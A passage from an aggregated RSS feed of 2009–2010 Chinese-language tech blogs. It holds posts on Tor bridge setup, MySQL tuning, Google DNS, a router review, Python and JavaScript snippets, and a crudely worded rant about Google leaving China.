	<content:encoded>FROM: autotiger@&lt;a href=&quot;http://tinyurl.com/ydcqtot&quot;&gt;http://tinyurl.com/ydcqtot&lt;/a&gt;&lt;p&gt;谷歌终于要退出中国了, 这其实是个好消息,终于是谷歌绷不住了要走人了,从政府来说,起码没有背上逼走的骂名,是你自己要走的,不赖我.&lt;br /&gt;政府对待互联网一直是爱恨交织,其中恨谷歌为代表的海外网站更多些.政府本来就这样,我倒感觉很正常,不这样,还真觉着不像祖国了.&lt;p&gt;我比较高兴得其实是扎咋呼呼要的所谓被侵权的所谓中国作家们, 当他们听说谷歌退出中国市场的时候,想必是一脸煞笔似的惊呆吧?&lt;br /&gt;一是不敢相信自己居然有让国际IT巨头滚蛋的能量,紧接着就是对谷歌真的要滚蛋的无比失落.本来指望着敲这个冤大头一笔的,谁知道冤大头不跟自己玩了.&lt;br /&gt;这就像半老徐娘的站街女,本来还心气满满的讨价还价,但是突然发现嫖客改同志了,先前的自信立马犹如退下的套套,萎靡在地,不成个形状.&lt;p&gt;谷歌此次退出中国无比英明,因为此地钱少,人多,奸诈.&lt;br /&gt;免费享用着其提供的各种便利信息,却又对仅仅发布一下一群所谓的八杆子没听说过的作家的作品摘要装逼似的斤斤计较其知识的产权.&lt;p&gt;在一个极度虚伪的号称盛产雷锋的地球某旮旯, 谷歌终于忍不住了,打算退了,吐了. 我对这种决定表示发自内心的赞赏.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-1791050942856904609?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-01-13T16:56:49+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-5575904075984704567">
	<title>Vern: java.net.SocketException: Network is unreachable</title>
	<link>http://s5unty.blogspot.com/2010/01/javanetsocketexception-network-is.html</link>
	<content:encoded>FROM: &lt;a href=&quot;http://tinyurl.com/ydp8tag&quot;&gt;http://tinyurl.com/ydp8tag&lt;/a&gt;&lt;p&gt;   1. edit /etc/sysctl.d/bindv6only.conf&lt;br /&gt;   2. change value net.ipv6.bindv6only=1 into 0&lt;br /&gt;   3. invoke-rc.d procps restart&lt;p&gt;&lt;br /&gt;FROM: &lt;a href=&quot;http://tinyurl.com/yccgu9m&quot;&gt;http://tinyurl.com/yccgu9m&lt;/a&gt;&lt;p&gt;Adding the extra flag &amp;quot;-Djava.net.preferIPv4Stack=true&amp;quot; fixed the&lt;br /&gt;issue. Netflow now starts correctly.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-5575904075984704567?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-01-10T17:45:43+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/internet-notes/557">
	<title>Sam Tang: ASUS RT-N12 + DD-WRT 韌體</title>
	<link>http://www.hkcode.com/internet-notes/557</link>
	<content:encoded>&lt;p&gt;用了幾年的的 router 最近有些怪怪的，發生經常 hang 機的情況，升級 firmware 後也是一樣，唯有花錢買過一台。&lt;/p&gt;
&lt;p&gt;最後選擇了 ASUS RT-N12，首先是比較喜歡其簡潔的設計，而它使用的晶片是 BCM4716，時脈 300Mhz，4M FLASH + 32MB DDR RAM，連線數量可達 30,000 條。而著名第三方韌體商 DD-WRT 的韌體也支援 RT-N12，升級過程十分順利。&lt;/p&gt;
&lt;p&gt;用了幾天後，目前也十分穩定，而且長時間開啟後，機身也沒有過熱的情況，是值得推薦的產品。&lt;/p&gt;
&lt;p&gt;官方網頁: &lt;a href=&quot;http://www.asus.com/product.aspx?P_ID=xq8udon10ZTLU7o2&amp;#038;templete=2&quot; target=&quot;_blank&quot;&gt;http://www.asus.com/product.aspx?P_ID=xq8udon10ZTLU7o2&amp;#038;templete=2&lt;/a&gt;&lt;br /&gt;
DD-WRT RT-N12: &lt;a href=&quot;http://www.dd-wrt.com/phpBB2/viewtopic.php?t=62896&quot; target=&quot;_blank&quot;&gt;http://www.dd-wrt.com/phpBB2/viewtopic.php?t=62896&lt;/a&gt;
&lt;/p&gt;</content:encoded>
	<dc:date>2010-01-05T00:54:39+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-1637058570151469939">
	<title>Vern: getPY</title>
	<link>http://s5unty.blogspot.com/2009/12/getpy.html</link>
	<content:encoded>FROM: &lt;a href=&quot;https://groups.google.com/group/binsos/browse_thread/thread/1951b77a2cf4bfab&quot;&gt;https://groups.google.com/group/binsos/browse_thread/thread/1951b77a2cf4bfab&lt;/a&gt;&lt;p&gt;def getPY(s):&lt;br /&gt;    try: chr=s.encode(&amp;quot;GB18030&amp;quot;)&lt;br /&gt;    except: return s&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb0\xa1&amp;quot;: return s&lt;br /&gt;    if chr&amp;gt;&amp;quot;\xd7\xf9&amp;quot;: return u&amp;quot;?&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb0\xc5&amp;quot;: return u&amp;quot;a&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb2\xc1&amp;quot;: return u&amp;quot;b&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb4\xee&amp;quot;: return u&amp;quot;c&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb6\xea&amp;quot;: return u&amp;quot;d&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb7\xa2&amp;quot;: return u&amp;quot;e&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb8\xc1&amp;quot;: return u&amp;quot;f&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb9\xfe&amp;quot;: return u&amp;quot;g&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xbb\xf7&amp;quot;: return u&amp;quot;h&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xbf\xa6&amp;quot;: return u&amp;quot;j&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc0\xac&amp;quot;: return u&amp;quot;k&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc2\xe8&amp;quot;: return u&amp;quot;l&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc4\xc3&amp;quot;: return u&amp;quot;m&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc5\xb6&amp;quot;: return u&amp;quot;n&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc5\xbe&amp;quot;: return u&amp;quot;o&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc6\xda&amp;quot;: return u&amp;quot;p&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc8\xbb&amp;quot;: return u&amp;quot;q&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc8\xf6&amp;quot;: return u&amp;quot;r&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xcb\xfa&amp;quot;: return u&amp;quot;s&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xcd\xda&amp;quot;: return u&amp;quot;t&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xce\xf4&amp;quot;: return u&amp;quot;w&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xd1\xb9&amp;quot;: return u&amp;quot;x&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xd4\xd1&amp;quot;: return u&amp;quot;y&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xd7\xfa&amp;quot;: return u&amp;quot;z&amp;quot;&lt;br /&gt;    return s&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-1637058570151469939?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2009-12-14T10:09:43+00:00</dc:date>
</item>
<item rdf:about="http://blog.xychen.org/archives/2009/12/13/%e6%b0%91%e4%b8%bb%e9%bb%a8/">
	<title>來醫: “民主”黨</title>
	<link>http://blog.xychen.org/archives/2009/12/13/%e6%b0%91%e4%b8%bb%e9%bb%a8/</link>
	<content:encoded>&lt;p&gt;一個唔相信民主嘅所謂&amp;#8221;民主黨&amp;#8221;今日自己宣佈咗佢自己嘅末日!!&lt;/p&gt;</content:encoded>
	<dc:date>2009-12-13T14:11:25+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/internet-notes/556">
	<title>Sam Tang: Google Public DNS Servers 開放使用</title>
	<link>http://www.hkcode.com/internet-notes/556</link>
	<content:encoded>&lt;p&gt;上星期 Google 開放了類似 OpenDNS 的 DNS服務，以下是 DNS 的 IP:&lt;/p&gt;
&lt;p&gt;8.8.8.8&lt;br /&gt;
8.8.4.4&lt;/p&gt;
&lt;p&gt;在 Linux 下如果要改用 Google 的 DNS，只要修改 /etc/resolv.conf 檔案，將原本使用的 DNS 改成以下即可:&lt;/p&gt;
&lt;p&gt;nameserver 8.8.8.8&lt;br /&gt;
nameserver 8.8.4.4&lt;/p&gt;
&lt;p&gt;可能是因為 Google 的用戶群龐大，其 DNS 內的 cache 也較豐富，所以很多時瀏覽網站時，感覺 resolve 的時間也很快，比自己 ISP 的反應更佳。但大家要留意，當使用 Google 的 DNS 時，實際上上網的紀錄 Google 也可以知道，關心私穩方面問題的朋友要留意了。
&lt;/p&gt;</content:encoded>
	<dc:date>2009-12-11T04:14:45+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-4078398880973605609">
	<title>Vern: vim tips</title>
	<link>http://s5unty.blogspot.com/2009/12/vim-tips.html</link>
	<content:encoded>FROM: http://ryanlee.wikidot.com/vim:tips&lt;br /&gt;&lt;br /&gt;`.　'.　　jump to last modification line&lt;br /&gt;gf　　　　open file name under cursor&lt;br /&gt;&lt;br /&gt;gv　　　　reselect-Visual&lt;br /&gt;gi　　　　jump to the last cursor when Insert mode was stopped&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-4078398880973605609?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2009-12-08T12:33:45+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/184/RooJs_Appbuilder_preview.html">
	<title>Alan Knowles: RooJs Appbuilder preview</title>
	<link>http://www.akbkhome.com/blog.php/View/184/RooJs_Appbuilder_preview.html</link>
	<content:encoded>Well, a peek into the secret world of Roo development. I've been a bit frustrated with the speed of development of the applications recently, so I decided to speed it up a bit..&lt;br /&gt;&lt;br /&gt;Below is  a little video of a module I've added to the Iconstruction framework (which might get released one day..) - which enables me to very rapidly build applications.&lt;br /&gt;&lt;br /&gt;The knock on effect of developing the builder has been that there is now far better support for xtype object constructors in Roo, along with far more acurate and complete documenation (as the builder tool needs that to work)&lt;br /&gt;</content:encoded>
	<dc:date>2009-11-14T07:30:00+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/programming/555">
	<title>Sam Tang: MySQL 微調技巧</title>
	<link>http://www.hkcode.com/programming/555</link>
	<content:encoded>&lt;p&gt;以下會介紹一些簡易的 MySQL 效能微調技巧，這些方法都是透過 my.cnf 的參數完成，而不需要重新編譯 MySQL。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Buffer&lt;/strong&gt;&lt;br /&gt;
key buffer 是系統索引可用的緩存空間大小，對處理索引有很大的影響。設定 key buffer 的大小要根據自己的需要而定，而一個較簡單的方法是使用 25% 的記憶體空間作為 key buffer 使用。如果是獨立的資料庫伺服器可考慮使用更大的空間，例如 50%。&lt;br /&gt;
通這設定 key buffer 的大小，可以減少硬碟 I/O 操作對 MySQL 的影響。&lt;/p&gt;
&lt;p&gt;以下是 key buffer 在 my.cnf 的設定方法：&lt;/p&gt;
&lt;p&gt;key_buffer = 512M&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Query Cache&lt;/strong&gt;&lt;br /&gt;
這是 SQL Query 的緩存，將 query 的查詢結果暫存在記憶體裡面，直至資料被更新為止。&lt;/p&gt;
&lt;p&gt;query_cache_size = 128MB&lt;br /&gt;
query_cache_limit = 4MB&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Table Cache&lt;/strong&gt;&lt;br /&gt;
對於同時要存取多個資料表十分重要，這是設定同時可開啟資料表的數目。&lt;/p&gt;
&lt;p&gt;table_cache = 512&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sort Buffers&lt;/strong&gt;&lt;br /&gt;
sort_buffer_size (在舊版本是 sort_buffer) 是設定 grouping 及 sorting 的緩存。&lt;/p&gt;
&lt;p&gt;sort_buffer_size = 32M&lt;br /&gt;
myisam_sort_buffer_size = 32M
&lt;/p&gt;</content:encoded>
	<dc:date>2009-11-06T12:56:11+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-9035715295298650917">
	<title>Vern: scrubbed</title>
	<link>http://s5unty.blogspot.com/2009/11/scrubbed.html</link>
	<content:encoded>Nov 03 13:55:55.152 [warn] Failed to find node for hop 0 of our path. Discarding this circuit.&lt;br /&gt;Nov 03 13:55:56.156 [warn] Failed to find node for hop 0 of our path. Discarding this circuit.&lt;br /&gt;Nov 03 13:55:57.160 [warn] Failed to find node for hop 0 of our path. Discarding this circuit.&lt;br /&gt;...&lt;br /&gt;Nov 03 14:00:37.163 [notice] Tried for 120 seconds to get a connection to [scrubbed]:80. Giving up. (waiting for circuit)&lt;br /&gt;Nov 03 14:00:37.163 [notice] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit)&lt;br /&gt;Nov 03 14:00:37.163 [notice] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit)&lt;br /&gt;Nov 03 14:00:37.163 [notice] Tried for 120 seconds to get a connection to [scrubbed]:80. Giving up. (waiting for circuit)&lt;br /&gt;Nov 03 14:00:37.163 [notice] Tried for 120 seconds to get a connection to [scrubbed]:80. Giving up. (waiting for circuit)&lt;br /&gt;...&lt;br /&gt;Nov 03 14:08:20.727 [notice] no known bridge descriptors running yet; stalling&lt;br /&gt;Nov 03 14:08:21.731 [notice] We now have enough directory information to build circuits.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-9035715295298650917?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2009-11-03T14:16:19+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/183/Ubuntu_release_910_a_bit_early.html">
	<title>Alan Knowles: Ubuntu release 9.10 a bit early</title>
	<link>http://www.akbkhome.com/blog.php/View/183/Ubuntu_release_910_a_bit_early.html</link>
	<content:encoded>Looks like ubuntu released karmic today (as I guess they could not rename it 9.11). &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I've been testing karmic for months, (which at times have been very painful - but if you join the beta ride, what else would it be), but in the last few weeks it looked like it was really coming together. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The only big regression was the synaptics touchpad resetting the 'tap' setting after suspend resume cycle.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;However, there was a kernel update last week which completely broke suspend (it never really sleeps the machine), and attempts to report it via the apport tool result in a invalid message about the kernel not being a ubuntu one.. (which someone has reported)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'd really suggest anyone requiring resume/suspend to work, to hold of for a little while until they sort out the remaining issues.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2009-10-29T23:46:22+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-6477961371148635805">
	<title>Vern: QQ 内部版本号列表</title>
	<link>http://s5unty.blogspot.com/2009/10/qq.html</link>
	<content:encoded>FROM: &lt;a href=&quot;http://bbs.cyboma.com/viewthread.php?tid=10738&amp;amp;extra=&amp;amp;page=1&quot;&gt;http://bbs.cyboma.com/viewthread.php?tid=10738&amp;amp;extra=&amp;amp;page=1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;193F=【QQ2009 正式版 SP2 性能优化测试版】&lt;br /&gt;190F=【QQ2009 正式版 SP4】&lt;br /&gt; 1909=【QQ2009 正式版 SP4 试用版】&lt;br /&gt;1843=【QQ2009 正式版 SP2 传文件夹测试版】&lt;br /&gt;1837=【QQ2009 正式版 SP3】&lt;br /&gt;1831=【QQ2009 正式版 SP3 试用版】&lt;br /&gt;175F=【QQ Internation Beta1】&lt;br /&gt;1759=【QQ2009 正式版 SP2】&lt;br /&gt;1753=【QQ2009 正式版 SP2 试用版】&lt;br /&gt;1663=【QQ2009 正式版 SP1】&lt;br /&gt; 165D=【QQ2009 正式版 SP1 试用版】&lt;br /&gt;1651=【QQ2009 正式版音视频优化版】&lt;br /&gt;164A=【TM2009 Beta1.X系列】&lt;br /&gt;1645=【QQ2009 正式版】&lt;br /&gt;1644=【TM2009 Beta1】&lt;br /&gt;163F=【QQ2009 正式试用版】&lt;br /&gt;163A=【QQ for Mac 1.0 Beta1】&lt;br /&gt;1621=【QQ2009 Beta2】&lt;br /&gt;161B=【QQ2009 Beta2 试用版】&lt;br /&gt; 160F=【QQ2009 Beta1 传文件优化版】&lt;br /&gt;1549=【QQ2009 Beta1】&lt;br /&gt;1525=【QQ2009 Preview4】&lt;br /&gt;1519=【QQ2009 Preview3 Build 431/450】&lt;br /&gt;1513=【QQ2009 Preview3 界面优化版】&lt;br /&gt;150D=【QQ2009 Preview3 音视频优化版】&lt;br /&gt;1501=【QQ2009 Preview3】&lt;br /&gt;1447=【QQ2009 Preview2 Build 107/118】&lt;br /&gt; 1441=【QQ2009 Preview2】&lt;br /&gt;1440=【TM2008 Beta1】&lt;br /&gt;143C=【QQ for Mac 1.0 Preview3】&lt;br /&gt;141D=【QQ2009 Preview1】&lt;br /&gt;141C=【TM2008 Preview4】&lt;br /&gt;1418=【QQ for Mac 1.0 Preview2】&lt;br /&gt;1412=【QQ for Mac 1.0 Preview1】&lt;br /&gt;140F=【TM2008 Preview3】&lt;br /&gt; 140D=【TM2008 Preview2】&lt;br /&gt;140B=【TM2008 Preview1】&lt;br /&gt;1407=【QQ2007 蜂鸟 Alpha1 Demo】&lt;br /&gt;1334=【QQ腾讯客户管理系统(CRM)】&lt;br /&gt;1251=【QQ2008II Beta1 SP1】&lt;br /&gt;1237=【QQ2008II Beta1】&lt;br /&gt;1235=【QQ2008II Beta1 会员体验版】&lt;br /&gt;1233=【QQ2008II Beta1 内测版】&lt;br /&gt; 1221=【QQ2008I 正式版】&lt;br /&gt;121F=【QQ2008I 正式试用版】&lt;br /&gt;120B=【QQ2008I Beta2】&lt;br /&gt;1205=【QQ2008I Beta1 祈福版】&lt;br /&gt;1203=【QQ2008I Beta1】&lt;br /&gt;1201=【QQ2008I Beta1 会员体验版】&lt;br /&gt;1163=【QQ2008I 视频优化特别版V2】&lt;br /&gt;1161=【QQ2008I 视频优化特别版V1】&lt;br /&gt;&lt;span&gt;115B&lt;/span&gt;=【QQ2008I 贺岁版】&lt;br /&gt; 1156=【QQ for Linux 1.0 Preview1 Build 106】&lt;br /&gt;114D=【QQ2007II 正式版 KB1】&lt;br /&gt;114B=【QQ2007II 正式版】&lt;br /&gt;1149=【QQ2007II 正式会员体验版】&lt;br /&gt;1147=【QQ2007II 正式试用版】&lt;br /&gt;1141=【QQ2007II Beta2 SP2】&lt;br /&gt;113F=【QQ2007II Beta2 SP1】&lt;br /&gt;113D=【QQ2007II Beta2】&lt;br /&gt; 1133=【QQ2007II Beta1】&lt;br /&gt;1131=【QQ for Linux 1.0 Preview1】&lt;br /&gt;111D=【QQ2007I 正式版 KB1】&lt;br /&gt;111B=【QQ2007I 正式版】&lt;br /&gt;1119=【QQ2007I 正式试用修正版】&lt;br /&gt;1117=【QQ2007I 正式会员体验版】&lt;br /&gt;1115=【QQ2007I 正式试用版】&lt;br /&gt;1105=【QQ2007I Beta4 KB1】&lt;br /&gt;1103=【QQ2007I Beta4】&lt;br /&gt; 1101=【QQ2007I Beta4 会员体验版】&lt;br /&gt;1053=【QQ2007I Beta3 KB1】&lt;br /&gt;1051=【QQ2007I Beta3】&lt;br /&gt;1037=【QQ2007I Beta2 KB1】&lt;br /&gt;1035=【QQ2007I Beta2】&lt;br /&gt;1033=【QQ2007I Beta2 内测版】&lt;br /&gt;1031=【QQ企业空间版】&lt;br /&gt;1023=【QQ2007I Beta1 KB1】&lt;br /&gt;1021=【QQ2007I Beta1 Support Vista】&lt;br /&gt; 101F=【QQ2007I Beta1】&lt;br /&gt;0FFB=【QQ2006 正式版】&lt;br /&gt;0FF1=【QQ2006 正式泄露版】&lt;br /&gt;0F5F=【QQ2006 正式试用版】&lt;br /&gt;0F39=【QQ2006 Beta2 繁体版 SP1】&lt;br /&gt;0F32=【TM2007 Beta1 SP1】&lt;br /&gt;0F30=【TM2007 Beta1 Support Vista】&lt;br /&gt;0F2E=【TM2007 Beta1】&lt;br /&gt;0F0C=【TM2006 新春版 Build 05E8】&lt;br /&gt; &lt;br /&gt;&lt;font color=&quot;#009900&quot;&gt;pidgin QQ 插件(2008)使用的版本号&lt;/font&gt;&lt;br /&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-6477961371148635805?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2009-10-24T11:12:21+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-1288431520593968318">
	<title>Vern: 如何在 Ubuntu下配置 TOR bridges</title>
	<link>http://s5unty.blogspot.com/2009/10/ubuntu-tor-bridges.html</link>
	<content:encoded>FROM: &lt;a href=&quot;http://vangie.bothlog.com/2009/09/27/%E5%9C%A8ubuntu%E4%B8%8Btor%E9%85%8D%E7%BD%AEbridges%E7%A9%BF%E5%A2%99/&quot;&gt;http://vangie.bothlog.com/2009/09/27/%E5%9C%A8ubuntu%E4%B8%8Btor%E9%85%8D%E7%BD%AEbridges%E7%A9%BF%E5%A2%99/&lt;/a&gt;&lt;p&gt;Step1: 获取网桥地址&lt;/p&gt;&lt;p&gt;用你的gmail帐号发送主题和内容为&quot;get bridges&quot;的邮件至&lt;a href=&quot;mailto:bridges@torproject.org&quot;&gt;bridges@torproject.org&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Step2: 配置Tor网桥&lt;/p&gt;&lt;p&gt;首先，备份原Tor配置文件torrc至备份目录:&lt;/p&gt;&lt;p&gt;    sudo cp -p /etc/tor/torrc your-backup-directory&lt;/p&gt;&lt;p&gt;然后在torrc配置文件末尾添加&quot;UseBridges 1&quot;开关选项(默认是0, 即关闭状态)，&lt;/p&gt;&lt;p&gt;    UseBridges 1&lt;br /&gt;&lt;/p&gt;&lt;p&gt;UpdateBridgesFromAuthority 1&lt;/p&gt;&lt;p&gt;最后，将&lt;a href=&quot;mailto:bridges@torproject.org&quot;&gt;bridges@torproject.org&lt;/a&gt;回复邮件中的bridge列表附加至torrc配置文件末尾，请按回复邮件中的bridge的原有格式添加，即:&lt;/p&gt;&lt;p&gt;    bridge ip:port fingerprint&lt;/p&gt;&lt;p&gt;上述两篇博客中谈到的邮件中有fingerprint字段，我收到的邮件中没有，但是测试后发现同样有效&lt;/p&gt;&lt;p&gt;Step3: 重启Tor和Privoxy&lt;/p&gt;&lt;p&gt;    sudo /etc/init.d/tor restart&lt;br /&gt;  sudo /etc/init.d/privoxy restart&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-1288431520593968318?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2009-10-24T10:25:10+00:00</dc:date>
</item>
<item rdf:about="http://www.debian.org.hk/18874 at http://www.debian.org.hk">
	<title>wanleung: First test post</title>
	<link>http://www.debian.org.hk/blog/first-test-post</link>
	<content:encoded>&lt;p&gt;first post for test&lt;/p&gt;</content:encoded>
	<dc:date>2009-10-22T04:37:21+00:00</dc:date>
</item>
<item rdf:about="http://www.debian.org.hk/18873 at http://www.debian.org.hk">
	<title>wanleung: Flash ads, please make it stop</title>
	<link>http://www.debian.org.hk/blog/flash-ads-please-make-it-stop</link>
	<content:encoded>&lt;p&gt;I really fricking hate Flash.  Not that you needed to be told this.  It kind of looks nice when it works, except when it crashes your browser.  It eats your CPU time and is buggy, there's a word we use to refer to software like that, it's 4 letters, starts in an s and ends in a t.&lt;/p&gt;
&lt;p&gt;There's another reason not to like Flash though that's got less to do with the Flash program itself but more to do with how people use it.  More than ever advertisers are using Flash to display animated or interactive advertising on webpages.  That kind of nice in a way, I guess, because you can essentially build custom miniature apps in the advertising window.  I do have a problem when advertising starts interfering with what I do.  I mean, auto adverts with cars running across the screen?  How about video adverts which pop up and plays automatically (with sound!) when you load a news site, or a sound-only advertising that plays in the background that has no stop button?  I mean, really?  Seriously, isn't that going too far?  It's really distracting and really fricking annoying.  I've always felt that advertising agencies have a general hate towards content consumers.  I'll tell you the first thing I do when I see junk running across the screen or some video ad running just in the middle of when I'm reading the news, I tell the ad to f-off by clicking the &quot;X&quot; button in the corner (if there's one at all).  Ads, sure, but not like this, thanks.&lt;/p&gt;
&lt;p&gt;All thanks for a fairly prominent Sydney-based newspaper which recently started doing this and pushed me over the limit, I've now got Click to Flash installed in Safari.  Now, Flash does not load automatically, it only loads when you click on the Flash window.  Why don't browsers come with these things by default (by the way, Safari already has a checkbox which allows you to disable Flash), all browsers should have a &quot;Webpage De-annoy-alizer&quot; tab in the Preferences window that allows you to do things like this.&lt;/p&gt;</content:encoded>
	<dc:date>2009-10-16T06:37:12+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/182/Speedier_google_translate_API_for_RooJs_and_ExtJS.html">
	<title>Alan Knowles: Speedier google translate API for RooJs and ExtJS</title>
	<link>http://www.akbkhome.com/blog.php/View/182/Speedier_google_translate_API_for_RooJs_and_ExtJS.html</link>
	<content:encoded>If you have ever used &lt;a href=&quot;http://code.google.com/apis/ajaxlanguage/documentation/#Translation&quot;&gt;googles translate API,&lt;/a&gt; it can quickly become a love hate relationship. You love the features it provides, but you begin to hate that fact that google's server are slow and flaky for loading the libraries that they recommend.&lt;br /&gt;&lt;br /&gt;This situation was getting especially annoying yesterday, as the load time of my application (that is getting continually re-loaded while I'm working on it) was getting worse and worse, and google's API's was the culprit.&lt;br /&gt;&lt;br /&gt;So after some further reading on that page, I realized that the translation call was really just a simple HTTP request with the correct parameters.. no need for huge google framework API etc.&lt;br /&gt;&lt;br /&gt;So here's the ~20 line javascript to replace the slow loading 50k+ library that google recommends....&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;/**&lt;br /&gt; * usage &lt;br /&gt; * gtranslate('hello', 'en', 'es', function (res) {&lt;br /&gt; *     if (typeof(res) == 'object') { return; } // failure&lt;br /&gt; *     console.log(res); // success...&lt;br /&gt; * });&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;function gtranslate(str, src, dest, cb) &lt;br /&gt;{&lt;br /&gt;        var x = new Roo.data.ScriptTagProxy({ &lt;br /&gt;            url:  'http://ajax.googleapis.com/ajax/services/language/translate', &lt;br /&gt;            callbackParam : 'callback' &lt;br /&gt;        });&lt;br /&gt;        x.load(&lt;br /&gt;            {&lt;br /&gt;                v: '1.0',&lt;br /&gt;                q : str,&lt;br /&gt;                langpair : src + '|' +dest,&lt;br /&gt;            }, // end params.&lt;br /&gt;            { // reader&lt;br /&gt;                readRecords : function (o) {&lt;br /&gt;                    if (!o.responseData) {&lt;br /&gt;                        return o;&lt;br /&gt;                    }&lt;br /&gt;                    return o.responseData.translatedText;&lt;br /&gt;                }&lt;br /&gt;            }, &lt;br /&gt;            function (result) {&lt;br /&gt;                cb(result);&lt;br /&gt;            },&lt;br /&gt;            this,&lt;br /&gt;            []&lt;br /&gt;        );&lt;br /&gt;            &lt;br /&gt;        &lt;br /&gt;    } &lt;br /&gt;    &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;</content:encoded>
	<dc:date>2009-10-13T23:01:25+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-7951992894896555886">
	<title>Vern: Maemo icon</title>
	<link>http://s5unty.blogspot.com/2009/10/maemo-icon.html</link>
